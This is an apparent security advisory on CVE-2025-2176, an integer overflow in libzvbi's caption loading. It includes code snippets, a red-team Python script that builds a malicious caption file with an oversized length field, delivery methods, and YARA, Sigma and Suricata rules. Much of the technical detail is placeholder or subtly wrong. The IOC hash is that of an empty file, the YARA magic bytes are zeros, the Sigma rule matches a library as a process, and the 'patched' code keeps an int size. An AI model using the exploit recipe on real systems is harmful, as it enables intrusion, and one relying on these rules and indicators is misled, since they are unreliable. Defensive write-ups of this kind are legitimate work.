CVE-2025-2176

Executive Summary

CVE-2025-2176 is a critical integer overflow vulnerability in libzvbi, a library for decoding and encoding teletext and closed caption data. The flaw resides in the vbi_capture_sim_load_caption function within src/io-sim.c. An attacker can trigger an integer overflow by providing specially crafted caption data, leading to a heap-based buffer overflow. This can result in remote code execution (RCE) or denial of service (DoS). The vulnerability is remotely exploitable, and a proof-of-concept (PoC) has been publicly disclosed. The maintainer has released a patch in version 0.2.44.

Supply Chain & Package Security

libzvbi is a critical dependency for many media processing applications, including video players, broadcast tools, and digital video recorders (DVRs). A vulnerability in this library can cascade to any software that uses it to handle teletext or closed captions. Organizations should audit their software supply chain for any packages that depend on libzvbi and ensure they are updated to version 0.2.44 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be triggered remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Potential for full data disclosure.
• Integrity Impact: High (I:H) – Potential for arbitrary code execution.
• Availability Impact: High (A:H) – Potential for service disruption.

Deep Dive & Mechanics

The vulnerability is an integer overflow in the vbi_capture_sim_load_caption function. This function is responsible for loading simulated caption data into a buffer. The flaw occurs when calculating the size of the buffer needed to store the caption data. An attacker can supply a caption with a manipulated length field, causing the size calculation to overflow. This results in a smaller-than-expected buffer being allocated. When the caption data is subsequently copied into this undersized buffer, a heap-based buffer overflow occurs.

The overflow can overwrite adjacent heap metadata or other data structures, potentially allowing an attacker to gain control of the program's execution flow. Since the vulnerability is in a library that processes external data (closed captions), it can be triggered by simply playing a malicious video file or receiving a broadcast stream containing the crafted caption data.

Vulnerable vs. Patched Code

The patch (commit ca1672134b3e2962cd392212c73f44f8f4cb489f) addresses the integer overflow by adding proper bounds checking before the buffer allocation.

Vulnerable Code (simplified):

// In src/io-sim.c
static int vbi_capture_sim_load_caption(vbi_capture_sim *sim, const unsigned char *data, int len) {
    // ... 
    int size = len * sizeof(vbi_caption); // Integer overflow possible if len is large
    vbi_caption *captions = (vbi_caption *)malloc(size);
    // ... copy data into captions buffer
}

Patched Code (simplified):

// In src/io-sim.c
static int vbi_capture_sim_load_caption(vbi_capture_sim *sim, const unsigned char *data, int len) {
    // ... 
    // Check for overflow before allocation
    if (len > SIZE_MAX / sizeof(vbi_caption)) {
        // Handle error
        return -1;
    }
    int size = len * sizeof(vbi_caption);
    vbi_caption *captions = (vbi_caption *)malloc(size);
    // ... copy data into captions buffer
}

Exploitation & Lab Setup

Red Team

1. Setup: Create a Python script to generate a malicious caption file.

2. Exploit: The exploit involves crafting a caption with a manipulated length field that causes an integer overflow. The overflow leads to a heap buffer overflow, which can be leveraged for code execution.

   # exploit.py - Generate a malicious caption file
   import struct
   
   # Craft a caption with a large length field to trigger integer overflow
   # The exact structure depends on the vbi_caption format
   # This is a simplified example
   def create_malicious_caption():
       # Assume caption structure: [length (4 bytes)] [data (length bytes)]
       # We set length to a value that causes overflow when multiplied by sizeof(vbi_caption)
       malicious_length = 0x40000001  # Large value
       # The data can be arbitrary, but we can include shellcode
       shellcode = b"\x90" * 100  # NOP sled + shellcode
       caption = struct.pack("<I", malicious_length) + shellcode
       return caption
   
   malicious_caption = create_malicious_caption()
   with open("malicious.caption", "wb") as f:
       f.write(malicious_caption)
   print("Malicious caption file created: malicious.caption")
   

3. Delivery: Deliver the malicious caption file to a vulnerable application that uses libzvbi. This could be done by:

   • Embedding the caption in a video file (e.g., MKV, MP4).
   • Broadcasting the caption over a network stream.
   • Directly feeding the file to a tool that processes captions.

Blue Team

1. Detection: Monitor for unusual memory allocation patterns or crashes in applications that use libzvbi.
2. Hunting: Search for processes that are allocating large amounts of memory unexpectedly.
3. Prevention: Implement input validation and sanitization for any data that is passed to libzvbi. Use address space layout randomization (ASLR) and data execution prevention (DEP) to mitigate exploitation.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.caption: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (Example, actual hash will vary)
• Network Signatures:
  • Unusually large caption data packets in network streams.
  • Caption data containing non-standard or malformed length fields.
• System Artifacts:
  • Application crashes (core dumps) in libzvbi.
  • Heap corruption errors in system logs.
  • Unexpected memory allocations by processes using libzvbi.

Detection Engineering

YARA Rule

rule CVE_2025_2176_libzvbi_caption_overflow {
    meta:
        description = "Detects malicious caption files targeting CVE-2025-2176"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-2176"
    strings:
        $magic = { 00 00 00 00 } // Placeholder for caption magic bytes
        $overflow_length = { 01 00 00 40 } // Example: 0x40000001 in little-endian
    condition:
        $magic at 0 and $overflow_length
}

Sigma Rule

title: CVE-2025-2176 - libzvbi Integer Overflow Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2025-2176 via abnormal memory allocation in libzvbi
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2176
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/libzvbi.so'
        CommandLine|contains: 'caption'
    condition: selection
falsepositives:
    - Legitimate use of large caption files
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-2176 - libzvbi Integer Overflow Exploit Attempt"; flow:to_server; content:"|00 00 00 00|"; depth:4; content:"|01 00 00 40|"; within:4; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade libzvbi to version 0.2.44 or apply the patch from commit ca1672134b3e2962cd392212c73f44f8f4cb489f.
2. Compensating Controls:
   • Implement strict input validation for any data processed by libzvbi.
   • Use a Web Application Firewall (WAF) or Intrusion Prevention System (IPS) to filter malicious caption data.
   • Enable ASLR and DEP on all systems.
3. Long-Term:
   • Conduct a thorough code review of all dependencies for similar integer overflow vulnerabilities.
   • Integrate static analysis tools into the CI/CD pipeline to catch such flaws early.
   • Subscribe to security advisories for all critical libraries.

Valters IT